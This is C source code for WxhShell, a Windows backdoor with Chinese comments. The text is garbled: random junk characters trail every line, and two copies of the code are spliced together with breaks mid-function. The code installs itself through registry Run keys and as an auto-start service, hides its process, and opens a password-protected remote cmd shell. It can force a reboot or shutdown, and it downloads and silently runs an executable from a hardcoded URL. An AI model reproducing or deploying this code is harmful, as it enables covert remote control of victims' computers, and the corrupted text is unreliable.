    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); owVks-/  
    if(Boot(SHUTDOWN)) Yw5-:w0f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wrXn|aV  
    else { Z'}%Mkm`i}  
    closesocket(wsh); }4h0 {H  
    ExitThread(0); :2C <;o  
    } >Q[ Z{  
    break; |k%1mE(+=s  
    } 5 ddfdIp  
  // 获取shell Ld/6{w4ir  
  case 's': { imAOYEH7}  
    CmdShell(wsh); &}pF6eIar  
    closesocket(wsh); UK*v\TMv  
    ExitThread(0); 4*5e0:O  
    break; WXDo`_{R  
  } `Lavjmfr2V  
  // 退出 LEOa=(mN\  
  case 'x': { qK9A /Mc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k%kEW%I yG  
    CloseIt(wsh); 'd&4MA0X  
    break; Ry xu#]s  
    } ;'08-Et  
  // 离开 yx:+Xy*N  
  case 'q': { Y5;afU='  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w9O!L9 6  
    closesocket(wsh); >gM"*Laa?  
    WSACleanup(); `8Ych@f]  
    exit(1); u4m8^fj+ T  
    break; YG8)`X qC  
        } ,tg(aL  
  } HJ0;BD.]  
  } 6%>'n?  
6?C';1  
  // 提示信息 *vEj\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tns8B  
} V |}9bNF  
  } iSW<7pNq0  
^yq}>_  
  return; U?5lqq  
} bX(/2_l  
o76!7  
// shell模块句柄 kN8B,  
int CmdShell(SOCKET sock) ?TK`sGy  
{ X!'C'3X  
STARTUPINFO si; t,*1=S5  
ZeroMemory(&si,sizeof(si)); 5 ;XYF0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ED" fi$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .QwB7+V4  
PROCESS_INFORMATION ProcessInfo; I.T?A9Z  
char cmdline[]="cmd"; v-q-CI? B#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sK&kp=zu  
  return 0; j6XHH&ZEb  
} {2D|,yH=  
X#ud5h  
// 自身启动模式 v>Kh5H5e~  
int StartFromService(void) g;6/P2w  
{ o^* :  
typedef struct pL`Q+}c}  
{ -;&I S  
  DWORD ExitStatus; ZX1/6|_  
  DWORD PebBaseAddress; bj6Yz,g F  
  DWORD AffinityMask; }Bsh!3D<.  
  DWORD BasePriority; #)twk `!^  
  ULONG UniqueProcessId; Yg,b ;H  
  ULONG InheritedFromUniqueProcessId; B7|%N=S%/  
}   PROCESS_BASIC_INFORMATION; <j,3Dn  
e.%I#rNI  
PROCNTQSIP NtQueryInformationProcess; &ni#(   
6DK).|@$r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UntFkoO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Q_GJ  
a7F_{Mm  
  HANDLE             hProcess; kD%MFT4  
  PROCESS_BASIC_INFORMATION pbi; y%61xA`#  
!k*B-@F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _X;,,VEV!  
  if(NULL == hInst ) return 0; ?*+U[*M  
5p S$rf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8sc2r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H@$K /  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lX"m |W  
E QU@';~8  
  if (!NtQueryInformationProcess) return 0; }zsIp,  
. _|=Btoo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L8f+uI   
  if(!hProcess) return 0; -s`Wd4AP  
a3\~AO H%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g'7\WQ  
ly0L)L]\  
  CloseHandle(hProcess); &oB*gGRw=7  
xR&:]M[Vg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I]+ zG  
if(hProcess==NULL) return 0; .FgeAxflP  
vN],9 q  
HMODULE hMod; rg k1.0U0  
char procName[255]; d v[.u{#tP  
unsigned long cbNeeded; f:&JKB)N  
h@=@ fa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9"+MZ$  
:f39)g5>  
  CloseHandle(hProcess); 6'/ Zq  
p}1gac_c  
if(strstr(procName,"services")) return 1; // 以服务启动 DT>`.y%2W  
F9K`N8wlu  
  return 0; // 注册表启动 iv6G9e{cx  
} ,&=7ir14>R  
Xn%7{%;h  
// 主模块 Ao`e{  
int StartWxhshell(LPSTR lpCmdLine) IE996   
{ :.XlAQR~b  
  SOCKET wsl;  ~,&8)1  
BOOL val=TRUE; o4EY2  
  int port=0; S|k@D2k=  
  struct sockaddr_in door; 9ck"JMla  
Dbj?l;'1  
  if(wscfg.ws_autoins) Install(); (Z?f eUxp  
VV/T)qEe7>  
port=atoi(lpCmdLine); /4 pYhJ8S  
lqL5V"2Y  
if(port<=0) port=wscfg.ws_port;  ArAe=m!u  
JvW7h(u7g  
  WSADATA data; ~( XaXu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \EoE/2"<  
B F gxa#De  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S}U_uZ$b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y 'X!T8  
  door.sin_family = AF_INET; "i/GzD7`n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hDW_a y4  
  door.sin_port = htons(port); $#s5y~z  
Ew PJ|Z^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <_|@ ~^u  
closesocket(wsl); ?zutU w/m  
return 1; *v K~t|z  
} a BMV6'  
S$fS|N3]%  
  if(listen(wsl,2) == INVALID_SOCKET) { jFe8s@7  
closesocket(wsl); vvxD}p=y  
return 1; L v/}&'\(  
} u;rmqo1  
  Wxhshell(wsl); RS}_cm0  
  WSACleanup(); RxJbQs$Ph  
[9Rh"H;h  
return 0; JJWP te/  
r`6f  
} t855|  
gsM$VaF(  
// 以NT服务方式启动 T$2A2gb `  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y< dBF[  
{ x  zF  
DWORD   status = 0; 2INpo  
  DWORD   specificError = 0xfffffff; ,pTZ/#vP#  
9ETdO,L)f  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  X{Vs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9H4"=!AAgD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i>h 3UIx\  
  serviceStatus.dwWin32ExitCode     = 0; O*?^a7Z)4  
  serviceStatus.dwServiceSpecificExitCode = 0; 5ILKYUg,  
  serviceStatus.dwCheckPoint       = 0; <>n|_6'$90  
  serviceStatus.dwWaitHint       = 0; hkb\ GcOj  
}DjVZ48  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !\%JOf}  
  if (hServiceStatusHandle==0) return; oi7k#^  
gE@Pb  
status = GetLastError(); dS 4/spNq  
  if (status!=NO_ERROR) FN!?o:|(  
{ *lLCH,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; URm<Ji  
    serviceStatus.dwCheckPoint       = 0; ?_AX;z  
    serviceStatus.dwWaitHint       = 0; 8i73iTg(  
    serviceStatus.dwWin32ExitCode     = status; Z9 ws{8@_  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]$ s)6)kW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b~>@x{  
    return; 1=IOio4U  
  } Hi K+}?I  
2oahQ: }B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gd\/n*j  
  serviceStatus.dwCheckPoint       = 0; fuA] y4A  
  serviceStatus.dwWaitHint       = 0; 9x4z m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ivl %%nY'  
} $04lL/;  
A#I&&qZ  
// 处理NT服务事件,比如:启动、停止 w ]T_%mdk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _)Txg2?=  
{ <$A/ ('  
switch(fdwControl) {N{eOa<HA  
{ (oy@j{G)c6  
case SERVICE_CONTROL_STOP: ojBdUG\  
  serviceStatus.dwWin32ExitCode = 0; LNk :PD0m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RXAE jzf   
  serviceStatus.dwCheckPoint   = 0; Z*q&^/N  
  serviceStatus.dwWaitHint     = 0; @]~.-(IMh  
  { ;rL1[qwk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ceks~[rP  
  } o!+'< IQ'  
  return; !f AvxR  
case SERVICE_CONTROL_PAUSE: xV14Y9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .bp#YU,m  
  break; 58#nYt  
case SERVICE_CONTROL_CONTINUE: [W$Mn.5<s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )_! a:  
  break; ERK{smL  
case SERVICE_CONTROL_INTERROGATE: UJL'4 t/  
  break; 5D7 L)>  
}; Ofoh4BL'1@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _I'k&R  
} &${| o@  
o?M;f\Fy  
// 标准应用程序主函数 TeZu*c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h2mHbe43  
{ \oxf_4X  
ShV_8F z  
// 获取操作系统版本  Lhg  
OsIsNt=GetOsVer(); f&5S`}C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I'{Ctc  
`/R. 5;$|  
  // 从命令行安装 z$m(@Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); w0$+v/  
Gb[J3:.  
  // 下载执行文件 #G0'Q2  
if(wscfg.ws_downexe) { ~0-)S@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pl,XS6mB  
  WinExec(wscfg.ws_filenam,SW_HIDE); j&S.k  
} 16I[z+RG  
9&^5!R8  
if(!OsIsNt) { yCkc3s|DA;  
// 如果时win9x,隐藏进程并且设置为注册表启动 -9+$z|K  
HideProc(); a $'U?%  
StartWxhshell(lpCmdLine); p8.JJt^  
} a|t{1]^w`  
else 0VJHE~Bgi  
  if(StartFromService()) >{Mv+  
  // 以服务方式启动 xgNV0;g,  
  StartServiceCtrlDispatcher(DispatchTable); U5cbO{\ 3I  
else jb/C\2U4)  
  // 普通方式启动 /\Xe '&  
  StartWxhshell(lpCmdLine); M{)eA<6  
A\7sP =  
return 0; _f>)G3p  
} .@;5"  
TZ n2,N  
751Q i  
$1s>efP-  
=========================================== -3d`e2^&}  
<Mo{o2F=  
M54czo=l  
ZK2&l8  
Fpn'0&~-fi  
J]S6%omp>  
" oLlfqV,|L\  
]1GyEr:  
#include <stdio.h> 9$[MM*r  
#include <string.h> xo ^|d3  
#include <windows.h> d,meKQ n  
#include <winsock2.h> :D2GLq*\  
#include <winsvc.h> !]mo.zDSW5  
#include <urlmon.h> Q9p2.!/C1  
kMEXgzl  
#pragma comment (lib, "Ws2_32.lib") 3ErV" R4"$  
#pragma comment (lib, "urlmon.lib") X9" T(`  
Ym -U{a  
#define MAX_USER   100 // 最大客户端连接数  =/ !A  
#define BUF_SOCK   200 // sock buffer 0@u{(m  
#define KEY_BUFF   255 // 输入 buffer ~_ovQ4@  
}p)a 7xn}  
#define REBOOT     0   // 重启 yVPFH~1@\  
#define SHUTDOWN   1   // 关机 T# tFzbr  
/d }5R@Oy  
#define DEF_PORT   5000 // 监听端口 0&&P+adk  
drwxrZt   
#define REG_LEN     16   // 注册表键长度 =''*'a-P  
#define SVC_LEN     80   // NT服务名长度 FO]f 4@  
& }"I!  
// 从dll定义API [5b[ztN%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0U.Ld:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @JP6F[d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Skux&'N:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !([v=O#  
2Qp]r+!  
// wxhshell配置信息 C<^S$  
struct WSCFG { b3GTsX\2|  
  int ws_port;         // 监听端口 &s\,+d0  
  char ws_passstr[REG_LEN]; // 口令 ^b.fci{1m  
  int ws_autoins;       // 安装标记, 1=yes 0=no <X97W\  
  char ws_regname[REG_LEN]; // 注册表键名 +@@( C9  
  char ws_svcname[REG_LEN]; // 服务名 5':j=KQE_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h=NXU9n%'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4dSAGLpp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :2{ [f+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V*6&GM&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 98{n6$\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GapH^trm  
t3Iij0b~  
}; dW^#}kN7V  
,~K4+ t_  
// default Wxhshell configuration HE2t0sAYX  
struct WSCFG wscfg={DEF_PORT, /cZcfCW  
    "xuhuanlingzhe", AZJ|.mV q  
    1, ]InDcE  
    "Wxhshell", |IWm:[H3  
    "Wxhshell", \/y&l\ k)  
            "WxhShell Service", %+ MYg^  
    "Wrsky Windows CmdShell Service", |ew:}e: k<  
    "Please Input Your Password: ", % <%r  
  1, L{c\7  
  "http://www.wrsky.com/wxhshell.exe", ~;wR}s<}(  
  "Wxhshell.exe" <&t[E0mU  
    }; SQw"mO  
K~8!Gh{h]  
// 消息定义模块 1<M~ #  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6HVGqx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z7*mT}Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iW? NxP  
char *msg_ws_ext="\n\rExit."; JQ\o[t  
char *msg_ws_end="\n\rQuit."; 2 t]=-@  
char *msg_ws_boot="\n\rReboot..."; @c,=c+-  
char *msg_ws_poff="\n\rShutdown..."; @oMl^UYM=  
char *msg_ws_down="\n\rSave to "; 34vH+,!u  
q1%xk =8  
char *msg_ws_err="\n\rErr!"; 0@#d($'1?Z  
char *msg_ws_ok="\n\rOK!"; @y# u!}  
_x7>d:C  
char ExeFile[MAX_PATH]; _1\H{x  
int nUser = 0;  qJj5_  
HANDLE handles[MAX_USER]; g aXF3v*j  
int OsIsNt; p*Hf<)}  
C2J@]&  
SERVICE_STATUS       serviceStatus; Bq85g5Dc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a'\fS7aE0l  
"&kXAwe  
// 函数声明 t\<*Q3rl-  
int Install(void); Fw"x4w  
int Uninstall(void); dC">AW  
int DownloadFile(char *sURL, SOCKET wsh); IBv9xP]BZ  
int Boot(int flag); Sj4@pMh4  
void HideProc(void); [#2z=Xg  
int GetOsVer(void); \88 IFE  
int Wxhshell(SOCKET wsl); YccD ^w[`B  
void TalkWithClient(void *cs); T:udw  
int CmdShell(SOCKET sock); N8]d0  
int StartFromService(void); SjU0X b)[  
int StartWxhshell(LPSTR lpCmdLine); u O~MT7~[X  
Uw>g^[V;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &R}2/Mt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /vFdhh  
`ve5>aw0_Y  
// 数据结构和表定义 4*+)D8  
SERVICE_TABLE_ENTRY DispatchTable[] = T(eNK c2  
{ }nNCgH  
{wscfg.ws_svcname, NTServiceMain}, 3ry0.  
{NULL, NULL} [UaM}-eR  
}; Pexg"328  
)G9,5[  
// 自我安装 Ob7F39):N  
int Install(void) 7ZpU -':  
{ e p\a  
  char svExeFile[MAX_PATH]; {UEZ:a  
  HKEY key; as@I0e((  
  strcpy(svExeFile,ExeFile); ?s{Pp  
s$OnQc2/  
// 如果是win9x系统,修改注册表设为自启动 ,7|2K&C5  
if(!OsIsNt) { z4c{W~}`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {= l 9{K`~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~G`(=\_0  
  RegCloseKey(key); '${xZrzmt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l8ZzKb-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I)X33X,  
  RegCloseKey(key); Ja#ti y  
  return 0; ZZ{:f+=?$  
    } #+Cu&l  
  } o%=OBTh_   
} WMd5Y`y  
else { {%3sj"suB  
AE 2>smp5@  
// 如果是NT以上系统,安装为系统服务 L+y90 T6?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |\/Y<_)JD  
if (schSCManager!=0) D>Dch0{H,:  
{ 3]}wZY0  
  SC_HANDLE schService = CreateService x0_$,Tz@  
  ( elf2!  
  schSCManager, E%6}p++  
  wscfg.ws_svcname, 8yV?l7  
  wscfg.ws_svcdisp, &]Q\@;]Aq  
  SERVICE_ALL_ACCESS, 7 xm>+(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U(cV#@Y  
  SERVICE_AUTO_START, ?4,e?S6,[  
  SERVICE_ERROR_NORMAL, !4B($]t  
  svExeFile, \vvV=iw  
  NULL, &}G2;O}3  
  NULL, [vs5e3B)  
  NULL, Cj x(Z]  
  NULL, J2W:Q  
  NULL =N%;HfUD  
  ); !yQ#E2/A  
  if (schService!=0) A\7qPfpG  
  { LD~/*  
  CloseServiceHandle(schService); Eh&et0&=g  
  CloseServiceHandle(schSCManager); jKI0d+U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B2PjS1z2  
  strcat(svExeFile,wscfg.ws_svcname); .Bu?=+O~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ({}JvSn1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eS/4gM7%  
  RegCloseKey(key); fH/J8<  
  return 0; >Hq)1o  
    } \.tnzP D  
  } ^%V^\DK  
  CloseServiceHandle(schSCManager); CHqRCQR.  
} ?UlAwxn  
} :NJ(QkTZv  
xM3T7PV9  
return 1; 3~7X2}qU  
} .6m%/-whS  
QVVR_1Q  
// 自我卸载 2O^7zW  
int Uninstall(void) 6WEYg   
{ Qyr^\a;k'  
  HKEY key; ersddb^J]  
Rs<li\GS  
if(!OsIsNt) { o0Y {k8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8MH ZWi  
  RegDeleteValue(key,wscfg.ws_regname); K(+ ~#$|-~  
  RegCloseKey(key); kCO`JAH#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !vB8Pk"  
  RegDeleteValue(key,wscfg.ws_regname); n .{Ud\|  
  RegCloseKey(key); mBC?Pg  
  return 0;   SW ^F  
  } G G]4g)O5  
} k/&~8l.$  
} 0T{Z'3^=  
else { U&uop$/Cq  
1d4?+[)gUv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "[[9i  
if (schSCManager!=0) Yz?4eSa/  
{ 4PwjG;!K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $y\\ ?  
  if (schService!=0) ^x8yW brE  
  { )c:i 'L  
  if(DeleteService(schService)!=0) { y Q_lJIX  
  CloseServiceHandle(schService); -^i[   
  CloseServiceHandle(schSCManager); IXaF(2>  
  return 0; MY]Z@  
  } a&3pPfC  
  CloseServiceHandle(schService); dVh*  a  
  } h7iI=[_V  
  CloseServiceHandle(schSCManager); %. =B=*  
} Gm 0&y  
} M PhG:^g  
,U\F <$O  
return 1; %z}{jqD&:X  
} ai!zb2j!E  
~|_s2T  
// 从指定url下载文件 U8+5{,$\.  
int DownloadFile(char *sURL, SOCKET wsh) {G:dhi  
{ lLq:(zMH  
  HRESULT hr; o& g0 1t  
char seps[]= "/"; L 1FT h  
char *token; vR X_}`m8#  
char *file; 0=3Av8  
char myURL[MAX_PATH]; 5E|y5|8fb  
char myFILE[MAX_PATH]; 2UPqn#.3  
6  XZF8W  
strcpy(myURL,sURL); nU{ }R"|  
  token=strtok(myURL,seps); `*5_`^t   
  while(token!=NULL) /0PBY-O  
  { .d) X.cO  
    file=token; RqV* O}Am  
  token=strtok(NULL,seps); 9~ [Sio~  
  } i(hI\hD  
IQ$cLr-S  
GetCurrentDirectory(MAX_PATH,myFILE); 8T&.8r  
strcat(myFILE, "\\"); [8F1rZ&  
strcat(myFILE, file); D"x;/I  
  send(wsh,myFILE,strlen(myFILE),0); f@3?kM(  
send(wsh,"...",3,0); ?C%mwW3pc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \e89 >m  
  if(hr==S_OK) bi^[Eh  
return 0; rHzwSR@}1  
else &!|'EW  
return 1; c7~+ 5  
: MfY8P)  
} O] T'\6w  
4CUzp.S`h  
// 系统电源模块 4'Svio  
int Boot(int flag) &:K!$W  
{ 2U;6sn*e  
  HANDLE hToken; <OQn |zU\  
  TOKEN_PRIVILEGES tkp; S}@J4}*u["  
kx6AMx!nX  
  if(OsIsNt) { ZCP r`H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :Pa^/i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Nu.2qE  
    tkp.PrivilegeCount = 1; TuF;>{~}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,".1![b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qL;OE.?oA  
if(flag==REBOOT) { P2U^%_~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b0QC91   
  return 0; PV[ Bqt  
} fi |k)  
else { +7<W.Zii  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _>b=f  
  return 0; S!'Y:AeD&  
} L5-p0O`R  
  } )=~OP>7B  
  else { c#-o@`Po  
if(flag==REBOOT) { v- 793pr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z( 00"ei  
  return 0; >-%tvrS%  
} /6K9? /  
else { 2=\} 0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nk#[~$Q-1  
  return 0; 3FD6.X>x  
} 0Yzm\"Ggv  
} jN[P$} #b`  
/AT2<w  
return 1; l2Gtw*i_I  
} $(3mpQAg  
tsYBZaH  
// win9x进程隐藏模块 |^S{vub  
void HideProc(void) !HV<2q()  
{ z CS.P.$  
e-Pn,j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xtWwz}^8]  
  if ( hKernel != NULL ) CyR1.|!@  
  { kYW>o}J|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *n"{]tj^>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zwLJ|>  
    FreeLibrary(hKernel); W@b Z~Q9  
  } HX)oN8  
TJ_<21a  
return; }0y2k7^]  
} nM<B{AR5^  
IBT 1If3  
// 获取操作系统版本 R [qfG! "  
int GetOsVer(void) Lrrc&;  
{ Y8%bk2  
  OSVERSIONINFO winfo; o_i N(K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r5> 1n/+6  
  GetVersionEx(&winfo); fTq/9=Rq4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EE{]EW(  
  return 1; *F^t)K2  
  else /h(bMbZ  
  return 0; NFs Cq_f  
} {^z>uRZ3  
|E}-j;(  
// 客户端句柄模块 P]~apMi:  
int Wxhshell(SOCKET wsl) `X8wnD  
{ /WxCsQn  
  SOCKET wsh; rk E;OU  
  struct sockaddr_in client; `K%f"by  
  DWORD myID; a'Vz|S G  
?LwBF;Y  
  while(nUser<MAX_USER) H(QbH)S$6  
{ hy]8t1894  
  int nSize=sizeof(client); at )m*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2FE13{+f  
  if(wsh==INVALID_SOCKET) return 1; ;%ng])w=;  
6?BV J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~LfFLC  
if(handles[nUser]==0) ~WW!P_wI,  
  closesocket(wsh); fe3a_gYPz  
else )wM881_!  
  nUser++; l^cz&k=+  
  } 9OS~;9YR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hz >_tA"^T  
"XB6k 0.#  
  return 0; o..iT:f;n  
} .FdzEauVc  
%(X^GL  
// 关闭 socket :'$V7LZ5  
void CloseIt(SOCKET wsh) M669G;w(K  
{ ` 'vNHY  
closesocket(wsh); hWz/PK,  
nUser--; a !yBEpMo  
ExitThread(0); hU~up a<dD  
} ^&z3zFTp  
N0V`xrS  
// 客户端请求句柄 $ dR@Q?_{  
void TalkWithClient(void *cs) INRP@Cp1  
{ PiVp(; rtQ  
KKRj#m(:!  
  SOCKET wsh=(SOCKET)cs; 7%sx["%@  
  char pwd[SVC_LEN]; )F\^-laMuK  
  char cmd[KEY_BUFF]; (R|_6[zy  
char chr[1]; )4;$;a1  
int i,j; GQ8A}gwH  
}v`Z. ?|Z  
  while (nUser < MAX_USER) { *km!<L7Y  
q&nEodv>+  
if(wscfg.ws_passstr) { Ywo=w:'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MFtC2*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n_/;j$h  
  //ZeroMemory(pwd,KEY_BUFF); 5{|tE!  
      i=0; ,GY K3+}Z  
  while(i<SVC_LEN) { [!S%nYs&8L  
($X2SIZh  
  // 设置超时 }I"k=>Ycns  
  fd_set FdRead; +'"NKZ.>TT  
  struct timeval TimeOut; = tY%k!R  
  FD_ZERO(&FdRead); L$3{L"/   
  FD_SET(wsh,&FdRead); 7csMk5NU'<  
  TimeOut.tv_sec=8; er0y~  
  TimeOut.tv_usec=0; 9&"wfN N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vWZ?*0^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,R7RXpP7t  
l,k.Jo5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aE2Yl  
  pwd=chr[0]; FwpTQix!  
  if(chr[0]==0xd || chr[0]==0xa) { q71V]!  
  pwd=0; ,KaO8^PB  
  break; qM(@wFg  
  } X?z CB  
  i++; y(yBRR  
    } mNPz%B  
Z5 Tu*u=  
  // 如果是非法用户,关闭 socket G4,.kK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AmX ~KK  
} fU>4Ip1?y/  
`G<|5pe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o9+fA H`D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); We@wN:  
Jl fIYf~  
while(1) { *Xk gwJq  
h%ba!  
  ZeroMemory(cmd,KEY_BUFF); :OD-L)Or  
h/NI5   
      // 自动支持客户端 telnet标准   Z!z#+G  
  j=0; V5!mV_EoR@  
  while(j<KEY_BUFF) { ;6q`c !p7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v9GfudTZR  
  cmd[j]=chr[0]; om1D}irKT  
  if(chr[0]==0xa || chr[0]==0xd) { '"9Wt@ .  
  cmd[j]=0; 6Zmzo,{  
  break; gCZm7dgo  
  } j|IvDrm#  
  j++; I^?hVH  
    } )rbcY0q  
Tilw.z  
  // 下载文件 yhxZ^ (I  
  if(strstr(cmd,"http://")) { [-hsG E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ 5V3I^  
  if(DownloadFile(cmd,wsh)) ;BW-ag \9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,L;%-}#$  
  else G8@LH   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B i`m+ob  
  } RX ,c4;  
  else { #OsUF,NU  
-f=4\3y3p  
    switch(cmd[0]) { g]PC6xr38  
  3|vZ `}  
  // 帮助 [w}KjV/yi  
